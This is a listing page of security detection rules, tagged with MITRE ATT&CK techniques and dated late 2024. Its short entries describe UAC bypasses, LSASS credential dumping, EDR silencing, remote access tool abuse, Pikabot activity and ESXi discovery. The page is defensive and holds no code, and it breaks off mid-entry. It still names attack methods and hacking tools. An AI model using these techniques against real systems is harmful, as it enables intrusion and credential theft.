Detection.FYI

DNS Query To Remote Access Software Domain From Non-Browser App

Dec 19, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
New AWS Lambda Function URL Configuration Created

Dec 19, 2024 · attack.initial-access attack.privilege-escalation ·
Share on:

Detects when a user creates a Lambda function URL configuration, which could be used to expose the function to the internet and potentially allow unauthorized access to the function's IAM role for AWS API calls. This could give an adversary access to the privileges associated with the Lambda service role that is attached to that function.

Read More
AWS SAML Provider Deletion Activity

Dec 19, 2024 · attack.t1078.004 attack.privilege-escalation attack.t1531 ·
Share on:

Detects the deletion of an AWS SAML provider, potentially indicating malicious intent to disrupt administrative or security team access. An attacker can remove the SAML provider for the information security team or a team of system administrators, to make it difficult for them to work and investigate at the time of the attack and after it.

Read More
Register new Logon Process by Rubeus

Dec 19, 2024 · attack.lateral-movement attack.privilege-escalation attack.credential-access attack.t1558.003 ·
Share on:

Detects potential use of Rubeus via registered new trusted logon process

Read More
AWS Key Pair Import Activity

Dec 19, 2024 · attack.initial-access attack.t1078 attack.persistence attack.privilege-escalation ·
Share on:

Detects the import of SSH key pairs into AWS EC2, which may indicate an attacker attempting to gain unauthorized access to instances. This activity could lead to initial access, persistence, or privilege escalation, potentially compromising sensitive data and operations.

Read More
DNS Query Request By QuickAssist.EXE

Dec 19, 2024 · attack.initial-access attack.t1071.001 attack.t1210 ·
Share on:

Detects DNS queries initiated by "QuickAssist.exe" to Microsoft Quick Assist primary endpoint that is used to establish a session.

Read More
QuickAssist Execution

Dec 19, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects the execution of Microsoft Quick Assist tool "QuickAssist.exe". This utility can be used by attackers to gain remote access.

Read More
File Creation Related To RAT Clients

Dec 19, 2024 · attack.execution ·
Share on:

File .conf created related to VenomRAT, AsyncRAT and Lummac samples observed in the wild.

Read More
Lummac Stealer Activity - Execution Of More.com And Vbc.exe

Dec 19, 2024 · attack.defense-evasion attack.t1055 ·
Share on:

Detects the execution of more.com and vbc.exe in the process tree. This behavior was observed by a set of samples related to Lummac Stealer. The Lummac payload is injected into the vbc.exe process.

Read More
CVE-2024-50623 Exploitation Attempt - Cleo

Dec 14, 2024 · attack.execution attack.t1190 ·
Share on:

Detects exploitation attempt of Cleo's CVE-2024-50623 by looking for a "cmd.exe" process spawning from the Celo software suite with suspicious Powershell commandline.

Read More
Webshell Detection With Command Line Keywords

Dec 14, 2024 · attack.persistence attack.t1505.003 attack.t1018 attack.t1033 attack.t1087 ·
Share on:

Detects certain command line parameters often used during reconnaissance activity via web shells

Read More
Potential Secure Deletion with SDelete

Dec 14, 2024 · attack.impact attack.defense-evasion attack.t1070.004 attack.t1027.005 attack.t1485 attack.t1553.002 attack.s0195 ·
Share on:

Detects files that have extensions commonly seen while SDelete is used to wipe files.

Read More
COM Object Hijacking Via Modification Of Default System CLSID Default Value

Dec 14, 2024 · attack.persistence attack.t1546.015 ·
Share on:

Detects potential COM object hijacking via modification of default system CLSID.

Read More
Local System Accounts Discovery - Linux

Dec 14, 2024 · attack.discovery attack.t1087.001 ·
Share on:

Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.

Read More
Remote Access Tool Services Have Been Installed - Security

Dec 7, 2024 · attack.persistence attack.t1543.003 attack.t1569.002 ·
Share on:

Detects service installation of different remote access tools software. These software are often abused by threat actors to perform

Read More
Modification or Deletion of an AWS RDS Cluster

Dec 6, 2024 · attack.exfiltration attack.t1020 ·
Share on:

Detects modifications to an RDS cluster or its deletion, which may indicate potential data exfiltration attempts, unauthorized access, or exposure of sensitive information.

Read More
NetNTLM Downgrade Attack - Registry

Dec 3, 2024 · attack.defense-evasion attack.t1562.001 attack.t1112 ·
Share on:

Detects NetNTLM downgrade attack

Read More
Potential Defense Evasion Via Rename Of Highly Relevant Binaries

Dec 3, 2024 · attack.defense-evasion attack.t1036.003 car.2013-05-009 ·
Share on:

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

Read More
Always Install Elevated Windows Installer

Dec 1, 2024 · attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege

Read More
CMSTP UAC Bypass via COM Object Access

Dec 1, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1548.002 attack.t1218.003 attack.g0069 car.2019-04-001 ·
Share on:

Detects UAC Bypass Attempt Using Microsoft Connection Manager Profile Installer Autoelevate-capable COM Objects (e.g. UACMe ID of 41, 43, 58 or 65)

Read More
Exploiting CVE-2019-1388

Dec 1, 2024 · attack.privilege-escalation attack.t1068 cve.2019-1388 detection.emerging-threats ·
Share on:

Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM

Read More
Msiexec Quiet Installation

Dec 1, 2024 · attack.defense-evasion attack.t1218.007 ·
Share on:

Adversaries may abuse msiexec.exe to proxy execution of malicious payloads. Msiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)

Read More
Non-privileged Usage of Reg or Powershell

Dec 1, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Search for usage of reg or Powershell by non-privileged users to modify service configuration in registry

Read More
Permission Check Via Accesschk.EXE

Dec 1, 2024 · attack.discovery attack.t1069.001 ·
Share on:

Detects the usage of the "Accesschk" utility, an access and privilege audit tool developed by SysInternal and often being abused by attacker to verify process privileges

Read More
Possible Privilege Escalation via Weak Service Permissions

Dec 1, 2024 · attack.persistence attack.defense-evasion attack.privilege-escalation attack.t1574.011 ·
Share on:

Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand

Read More
Potential CVE-2021-41379 Exploitation Attempt

Dec 1, 2024 · attack.privilege-escalation attack.t1068 cve.2021-41379 detection.emerging-threats ·
Share on:

Detects potential exploitation attempts of CVE-2021-41379 (InstallerFileTakeOver), a local privilege escalation (LPE) vulnerability where the attacker spawns a "cmd.exe" process as a child of Microsoft Edge elevation service "elevation_service" with "LOCAL_SYSTEM" rights

Read More
Potential Privilege Escalation via Service Permissions Weakness

Dec 1, 2024 · attack.privilege-escalation attack.t1574.011 ·
Share on:

Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level

Read More
Potential RDP Session Hijacking Activity

Dec 1, 2024 · attack.execution ·
Share on:

Detects potential RDP Session Hijacking activity on Windows systems

Read More
Potential UAC Bypass Via Sdclt.EXE

Dec 1, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1548.002 ·
Share on:

A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.

Read More
Suspicious Child Process Created as System

Dec 1, 2024 · attack.privilege-escalation attack.t1134.002 ·
Share on:

Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts

Read More
Suspicious High IntegrityLevel Conhost Legacy Option

Dec 1, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

ForceV1 asks for information directly from the kernel space. Conhost connects to the console application. High IntegrityLevel means the process is running with elevated privileges, such as an Administrator context.

Read More
Suspicious Process By Web Server Process

Dec 1, 2024 · attack.persistence attack.t1505.003 attack.t1190 ·
Share on:

Detects potentially suspicious processes being spawned by a web server process which could be the result of a successfully placed web shell or exploitation

Read More
Suspicious RazerInstaller Explorer Subprocess

Dec 1, 2024 · attack.privilege-escalation attack.t1553 detection.emerging-threats ·
Share on:

Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM

Read More
Suspicious Scheduled Task Creation via Masqueraded XML File

Dec 1, 2024 · attack.defense-evasion attack.persistence attack.t1036.005 attack.t1053.005 ·
Share on:

Detects the creation of a scheduled task using the "-XML" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence

Read More
Suspicious SYSTEM User Process Creation

Dec 1, 2024 · attack.credential-access attack.defense-evasion attack.privilege-escalation attack.t1134 attack.t1003 attack.t1027 ·
Share on:

Detects a suspicious process creation as SYSTEM user (suspicious program or command line parameter)

Read More
UAC Bypass Abusing Winsat Path Parsing - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)

Read More
UAC Bypass Tools Using ComputerDefaults

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects tools such as UACMe used to bypass UAC with computerdefaults.exe (UACMe 59)

Read More
UAC Bypass Using ChangePK and SLUI

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects an UAC bypass that uses changepk.exe and slui.exe (UACMe 61)

Read More
UAC Bypass Using Consent and Comctl32 - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)

Read More
UAC Bypass Using Disk Cleanup

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)

Read More
UAC Bypass Using DismHost

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using DismHost DLL hijacking (UACMe 63)

Read More
UAC Bypass Using IDiagnostic Profile

Dec 1, 2024 · attack.execution attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the "IDiagnosticProfileUAC" UAC bypass technique

Read More
UAC Bypass Using IEInstal - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)

Read More
UAC Bypass Using MSConfig Token Modification - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)

Read More
UAC Bypass Using NTFS Reparse Point - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)

Read More
UAC Bypass Using PkgMgr and DISM

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using pkgmgr.exe and dism.exe (UACMe 23)

Read More
UAC Bypass Using Windows Media Player - Process

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

Read More
UAC Bypass WSReset

Dec 1, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the pattern of UAC Bypass via WSReset usable by default sysmon-config

Read More
Setup16.EXE Execution With Custom .Lst File

Dec 1, 2024 · attack.defense-evasion attack.t1574.005 ·
Share on:

Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file. These ".lst" file can contain references to external program that "Setup16.EXE" will execute. Attackers and adversaries might leverage this as a living of the land utility.

Read More
Suspicious ShellExec_RunDLL Call Via Ordinal

Dec 1, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects suspicious call to the "ShellExec_RunDLL" exported function of SHELL32.DLL through the ordinal number to launch other commands. Adversary might only use the ordinal number in order to bypass existing detection that alert on usage of ShellExec_RunDLL on CommandLine.

Read More
Suspicious Usage Of ShellExec_RunDLL

Dec 1, 2024 · attack.defense-evasion ·
Share on:

Detects suspicious usage of the ShellExec_RunDLL function to launch other commands as seen in the the raspberry-robin attack

Read More
Password Policy Discovery - Linux

Dec 1, 2024 · attack.discovery attack.t1201 ·
Share on:

Detects password policy discovery commands

Read More
File and Directory Discovery - Linux

Dec 1, 2024 · attack.discovery attack.t1083 ·
Share on:

Detects usage of system utilities such as "find", "tree", "findmnt", etc, to discover files, directories and network shares.

Read More
System Owner or User Discovery - Linux

Dec 1, 2024 · attack.discovery attack.t1033 ·
Share on:

Detects the execution of host or user discovery utilities such as "whoami", "hostname", "id", etc. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Read More
All Rules Have Been Deleted From The Windows Firewall Configuration

Dec 1, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects when a all the rules have been deleted from the Windows Defender Firewall configuration

Read More
CodePage Modification Via MODE.COM To Russian Language

Dec 1, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects a CodePage modification using the "mode.com" utility to Russian language. This behavior has been used by threat actors behind Dharma ransomware.

Read More
CVE-2023-38331 Exploitation Attempt - Suspicious WinRAR Child Process

Dec 1, 2024 · detection.emerging-threats attack.execution attack.t1203 cve.2023-38331 ·
Share on:

Detects exploitation attempt of CVE-2023-38331 (WinRAR before v6.23), where an attacker can leverage WinRAR to execute arbitrary commands and binaries.

Read More
GCP Access Policy Deleted

Dec 1, 2024 · attack.persistence attack.privilege-escalation attack.t1098 ·
Share on:

Detects when an access policy that is applied to a GCP cloud resource is deleted. An adversary would be able to remove access policies to gain access to a GCP cloud resource.

Read More
GCP Break-glass Container Workload Deployed

Dec 1, 2024 · attack.defense-evasion attack.t1548 ·
Share on:

Detects the deployment of workloads that are deployed by using the break-glass flag to override Binary Authorization controls.

Read More
Google Workspace Application Access Level Modified

Dec 1, 2024 · attack.persistence attack.privilege-escalation attack.t1098.003 ·
Share on:

Detects when an access level is changed for a Google workspace application. An access level is part of BeyondCorp Enterprise which is Google Workspace's way of enforcing Zero Trust model. An adversary would be able to remove access levels to gain easier access to Google workspace resources.

Read More
HackTool - EDRSilencer Execution - Filter Added

Dec 1, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects execution of EDRSilencer, a tool that abuses the Windows Filtering Platform (WFP) to block the outbound traffic of running EDR agents based on specific hardcoded filter names.

Read More
HackTool - SharpMove Tool Execution

Dec 1, 2024 · attack.lateral-movement attack.t1021.002 ·
Share on:

Detects the execution of SharpMove, a .NET utility performing multiple tasks such as "Task Creation", "SCM" query, VBScript execution using WMI via its PE metadata and command line options.

Read More
HackTool - SOAPHound Execution

Dec 1, 2024 · attack.discovery attack.t1087 ·
Share on:

Detects the execution of SOAPHound, a .NET tool for collecting Active Directory data, using specific command-line arguments that may indicate an attempt to extract sensitive AD information.

Read More
Malicious PowerShell Commandlets - ProcessCreation

Dec 1, 2024 · attack.execution attack.discovery attack.t1482 attack.t1087 attack.t1087.001 attack.t1087.002 attack.t1069.001 attack.t1069.002 attack.t1069 attack.t1059.001 ·
Share on:

Detects Commandlet names from well-known PowerShell exploitation frameworks

Read More
Peach Sandstorm APT Process Activity Indicators

Dec 1, 2024 · attack.execution detection.emerging-threats ·
Share on:

Detects process creation activity related to Peach Sandstorm APT

Read More
Pikabot Fake DLL Extension Execution Via Rundll32.EXE

Dec 1, 2024 · detection.emerging-threats attack.defense-evasion attack.execution ·
Share on:

Detects specific process tree behavior linked to "rundll32" executions, wherein the associated DLL lacks a common ".dll" extension, often signaling potential Pikabot activity.

Read More
Potential Dropper Script Execution Via WScript/CScript

Dec 1, 2024 · attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects wscript/cscript executions of scripts located in user directories

Read More
Potential Peach Sandstorm APT C2 Communication Activity

Dec 1, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects potential C2 communication activity related to Peach Sandstorm APT

Read More
Potential Persistence Via MyComputer Registry Keys

Dec 1, 2024 · attack.persistence ·
Share on:

Detects modification to the "Default" value of the "MyComputer" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)

Read More
Potential Pikabot C2 Activity

Dec 1, 2024 · attack.command-and-control attack.t1573 detection.emerging-threats ·
Share on:

Detects the execution of rundll32 that leads to an external network connection. The malware Pikabot has been seen to use this technique to initiate C2-communication through hard-coded Windows binaries.

Read More
Potential Pikabot Discovery Activity

Dec 1, 2024 · attack.discovery attack.t1016 attack.t1049 attack.t1087 detection.emerging-threats ·
Share on:

Detects system discovery activity carried out by Pikabot, such as incl. network, user info and domain groups. The malware Pikabot has been seen to use this technique as part of its C2-botnet registration with a short collection time frame (less than 1 minute).

Read More
Potential Pikabot Hollowing Activity

Dec 1, 2024 · attack.defense-evasion attack.t1055.012 detection.emerging-threats ·
Share on:

Detects the execution of rundll32 that leads to the invocation of legitimate Windows binaries. The malware Pikabot has been seen to use this technique for process hollowing through hard-coded Windows binaries

Read More
Potentially Suspicious Self Extraction Directive File Created

Dec 1, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the creation of a binary file with the ".sed" extension. The ".sed" extension stand for Self Extraction Directive files. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries. Usually ".sed" files are simple ini files and not PE binaries.

Read More
PowerShell Core DLL Loaded By Non PowerShell Process

Dec 1, 2024 · attack.t1059.001 attack.execution ·
Share on:

Detects loading of essential DLLs used by PowerShell by non-PowerShell process. Detects behavior similar to meterpreter's "load powershell" extension.

Read More
PUA - PingCastle Execution

Dec 1, 2024 · attack.reconnaissance attack.t1595 ·
Share on:

Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level.

Read More
PUA - PingCastle Execution From Potentially Suspicious Parent

Dec 1, 2024 · attack.reconnaissance attack.t1595 ·
Share on:

Detects the execution of PingCastle, a tool designed to quickly assess the Active Directory security level via a script located in a potentially suspicious or uncommon location.

Read More
Remote CHM File Download/Execution Via HH.EXE

Dec 1, 2024 · attack.defense-evasion attack.t1218.001 ·
Share on:

Detects the usage of "hh.exe" to execute/download remotely hosted ".chm" files.

Read More
Remote Thread Creation In Mstsc.Exe From Suspicious Location

Dec 1, 2024 · attack.credential-access ·
Share on:

Detects remote thread creation in the "mstsc.exe" process by a process located in a potentially suspicious location. This technique is often used by attackers in order to hook some APIs used by DLLs loaded by "mstsc.exe" during RDP authentications in order to steal credentials.

Read More
Renamed PingCastle Binary Execution

Dec 1, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields.

Read More
Self Extraction Directive File Created In Potentially Suspicious Location

Dec 1, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the creation of Self Extraction Directive files (.sed) in a potentially suspicious location. These files are used by the "iexpress.exe" utility in order to create self extracting packages. Attackers were seen abusing this utility and creating PE files with embedded ".sed" entries.

Read More
Suspicious Processes Spawned by Java.EXE

Dec 1, 2024 · attack.initial-access attack.persistence attack.privilege-escalation ·
Share on:

Detects suspicious processes spawned from a Java host process which could indicate a sign of exploitation (e.g. log4j)

Read More
System Control Panel Item Loaded From Uncommon Location

Dec 1, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects image load events of system control panel items (.cpl) from uncommon or non-system locations which might be the result of sideloading.

Read More
System Disk And Volume Reconnaissance Via Wmic.EXE

Dec 1, 2024 · attack.execution attack.discovery attack.t1047 attack.t1082 ·
Share on:

An adversary might use WMI to discover information about the system, such as the volume name, size, free space, and other disk information. This can be done using the wmic command-line utility and has been observed being used by threat actors such as Volt Typhoon.

Read More
Uncommon Connection to Active Directory Web Services

Dec 1, 2024 · attack.discovery attack.t1087 ·
Share on:

Detects uncommon network connections to the Active Directory Web Services (ADWS) from processes not typically associated with ADWS management.

Read More
Windows Filtering Platform Blocked Connection From EDR Agent Binary

Dec 1, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects a Windows Filtering Platform (WFP) blocked connection event involving common Endpoint Detection and Response (EDR) agents. Adversaries may use WFP filters to prevent Endpoint Detection and Response (EDR) agents from reporting security events.

Read More
Creation of WerFault.exe/Wer.dll in Unusual Folder

Nov 29, 2024 · attack.persistence attack.defense-evasion attack.t1574.001 ·
Share on:

Detects the creation of a file named "WerFault.exe" or "wer.dll" in an uncommon folder, which could be a sign of WerFault DLL hijacking.

Read More
GALLIUM IOCs

Nov 25, 2024 · attack.credential-access attack.command-and-control attack.t1212 attack.t1071 attack.g0093 detection.emerging-threats ·
Share on:

Detects artifacts associated with GALLIUM cyber espionage group as reported by Microsoft Threat Intelligence Center in the December 2019 report.

Read More
HackTool - CoercedPotato Execution

Nov 25, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055 ·
Share on:

Detects the use of CoercedPotato, a tool for privilege escalation

Read More
HackTool - CreateMiniDump Execution

Nov 25, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine

Read More
HackTool - GMER Rootkit Detector and Remover Execution

Nov 25, 2024 · attack.defense-evasion ·
Share on:

Detects the execution GMER tool based on image and hash fields.

Read More
HackTool - HandleKatz LSASS Dumper Execution

Nov 25, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same

Read More
HackTool - Impersonate Execution

Nov 25, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1134.001 attack.t1134.003 ·
Share on:

Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively

Read More
HackTool - LocalPotato Execution

Nov 25, 2024 · attack.defense-evasion attack.privilege-escalation cve.2023-21746 ·
Share on:

Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples

Read More
HackTool - PCHunter Execution

Nov 25, 2024 · attack.execution attack.discovery attack.t1082 attack.t1057 attack.t1012 attack.t1083 attack.t1007 ·
Share on:

Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff

Read More
HackTool - PPID Spoofing SelectMyParent Tool Execution

Nov 25, 2024 · attack.defense-evasion attack.t1134.004 ·
Share on:

Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent

Read More
HackTool - SharpEvtMute DLL Load

Nov 25, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool that tampers with the Windows event logs

Read More
HackTool - Stracciatella Execution

Nov 25, 2024 · attack.execution attack.defense-evasion attack.t1059 attack.t1562.001 ·
Share on:

Detects Stracciatella which executes a Powershell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.

Read More
HackTool - SysmonEOP Execution

Nov 25, 2024 · cve.2022-41120 attack.t1068 attack.privilege-escalation ·
Share on:

Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120

Read More
HackTool - UACMe Akagi Execution

Nov 25, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1548.002 ·
Share on:

Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata

Read More
HackTool - Windows Credential Editor (WCE) Execution

Nov 25, 2024 · attack.credential-access attack.t1003.001 attack.s0005 ·
Share on:

Detects the use of Windows Credential Editor (WCE)

Read More
Hacktool Execution - Imphash

Nov 25, 2024 · attack.credential-access attack.t1588.002 attack.t1003 ·
Share on:

Detects the execution of different Windows based hacktools via their import hash (imphash) even if the files have been renamed

Read More
HackTool Named File Stream Created

Nov 25, 2024 · attack.defense-evasion attack.s0139 attack.t1564.004 ·
Share on:

Detects the creation of a named file stream with the imphash of a well-known hack tool

Read More
Malicious DLL Load By Compromised 3CXDesktopApp

Nov 25, 2024 · attack.defense-evasion detection.emerging-threats ·
Share on:

Detects DLL load activity of known compromised DLLs used in by the compromised 3CXDesktopApp

Read More
MpiExec Lolbin

Nov 25, 2024 · attack.execution attack.defense-evasion attack.t1218 ·
Share on:

Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary

Read More
Potential Compromised 3CXDesktopApp Execution

Nov 25, 2024 · attack.defense-evasion attack.t1218 attack.execution detection.emerging-threats ·
Share on:

Detects execution of known compromised version of 3CXDesktopApp

Read More
Potential SquiblyTwo Technique Execution

Nov 25, 2024 · attack.defense-evasion attack.t1047 attack.t1220 attack.execution attack.t1059.005 attack.t1059.007 ·
Share on:

Detects potential SquiblyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields

Read More
PUA - Fast Reverse Proxy (FRP) Execution

Nov 25, 2024 · attack.command-and-control attack.t1090 ·
Share on:

Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.

Read More
PUA - Nimgrab Execution

Nov 25, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects the usage of nimgrab, a tool bundled with the Nim programming framework and used for downloading files.

Read More
PUA - NPS Tunneling Tool Execution

Nov 25, 2024 · attack.command-and-control attack.t1090 ·
Share on:

Detects the use of NPS, a port forwarding and intranet penetration proxy server

Read More
PUA - Process Hacker Driver Load

Nov 25, 2024 · attack.privilege-escalation cve.2021-21551 attack.t1543 ·
Share on:

Detects driver load of the Process Hacker tool

Read More
PUA - Process Hacker Execution

Nov 25, 2024 · attack.defense-evasion attack.discovery attack.persistence attack.privilege-escalation attack.t1622 attack.t1564 attack.t1543 ·
Share on:

Detects the execution of Process Hacker based on binary metadata information (Image, Hash, Imphash, etc). Process Hacker is a tool to view and manipulate processes, kernel options and other low level options. Threat actors abused older vulnerable versions to manipulate system processes.

Read More
PUA - System Informer Driver Load

Nov 25, 2024 · attack.privilege-escalation attack.t1543 ·
Share on:

Detects driver load of the System Informer tool

Read More
PUA - System Informer Execution

Nov 25, 2024 · attack.persistence attack.privilege-escalation attack.discovery attack.defense-evasion attack.t1082 attack.t1564 attack.t1543 ·
Share on:

Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations

Read More
PUA- IOX Tunneling Tool Execution

Nov 25, 2024 · attack.command-and-control attack.t1090 ·
Share on:

Detects the use of IOX - a tool for port forwarding and intranet proxy purposes

Read More
Remote Access Tool - NetSupport Execution From Unusual Location

Nov 25, 2024 · attack.defense-evasion ·
Share on:

Detects execution of client32.exe (NetSupport RAT) from an unusual location (outside of 'C:\Program Files')

Read More
Renamed AdFind Execution

Nov 25, 2024 · attack.discovery attack.t1018 attack.t1087.002 attack.t1482 attack.t1069.002 ·
Share on:

Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.

Read More
Renamed AutoIt Execution

Nov 25, 2024 · attack.defense-evasion attack.t1027 ·
Share on:

Detects the execution of a renamed AutoIt2.exe or AutoIt3.exe. AutoIt is a scripting language and automation tool for Windows systems. While primarily used for legitimate automation tasks, it can be misused in cyber attacks. Attackers can leverage AutoIt to create and distribute malware, including keyloggers, spyware, and botnets. A renamed AutoIt executable is particularly suspicious.

Read More
Renamed NetSupport RAT Execution

Nov 25, 2024 · attack.defense-evasion ·
Share on:

Detects the execution of a renamed "client32.exe" (NetSupport RAT) via Imphash, Product and OriginalFileName strings

Read More
Renamed PAExec Execution

Nov 25, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects execution of renamed version of PAExec. Often used by attackers

Read More
Vulnerable HackSys Extreme Vulnerable Driver Load

Nov 25, 2024 · attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors

Read More
Vulnerable WinRing0 Driver Load

Nov 25, 2024 · attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation

Read More
WinDivert Driver Load

Nov 25, 2024 · attack.collection attack.defense-evasion attack.t1599.001 attack.t1557.001 ·
Share on:

Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows

Read More
ESXi Account Creation Via ESXCLI

Nov 20, 2024 · attack.persistence attack.t1136 ·
Share on:

Detects user account creation on ESXi system via esxcli

Read More
ESXi Admin Permission Assigned To Account Via ESXCLI

Nov 20, 2024 · attack.execution ·
Share on:

Detects execution of the "esxcli" command with the "system" and "permission" flags in order to assign admin permissions to an account.

Read More
ESXi Network Configuration Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·
Share on:

Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration.

Read More
ESXi Storage Information Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·
Share on:

Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit.

Read More
ESXi Syslog Configuration Change Via ESXCLI

Nov 20, 2024 · attack.defense-evasion attack.t1562.001 attack.t1562.003 ·
Share on:

Detects changes to the ESXi syslog configuration via "esxcli"

Read More
ESXi System Information Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·
Share on:

Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc.

Read More
ESXi VM Kill Via ESXCLI

Nov 20, 2024 · attack.execution ·
Share on:

Detects execution of the "esxcli" command with the "vm" and "kill" flag in order to kill/shutdown a specific VM.

Read More
ESXi VM List Discovery Via ESXCLI

Nov 20, 2024 · attack.discovery attack.t1033 attack.t1007 ·
Share on:

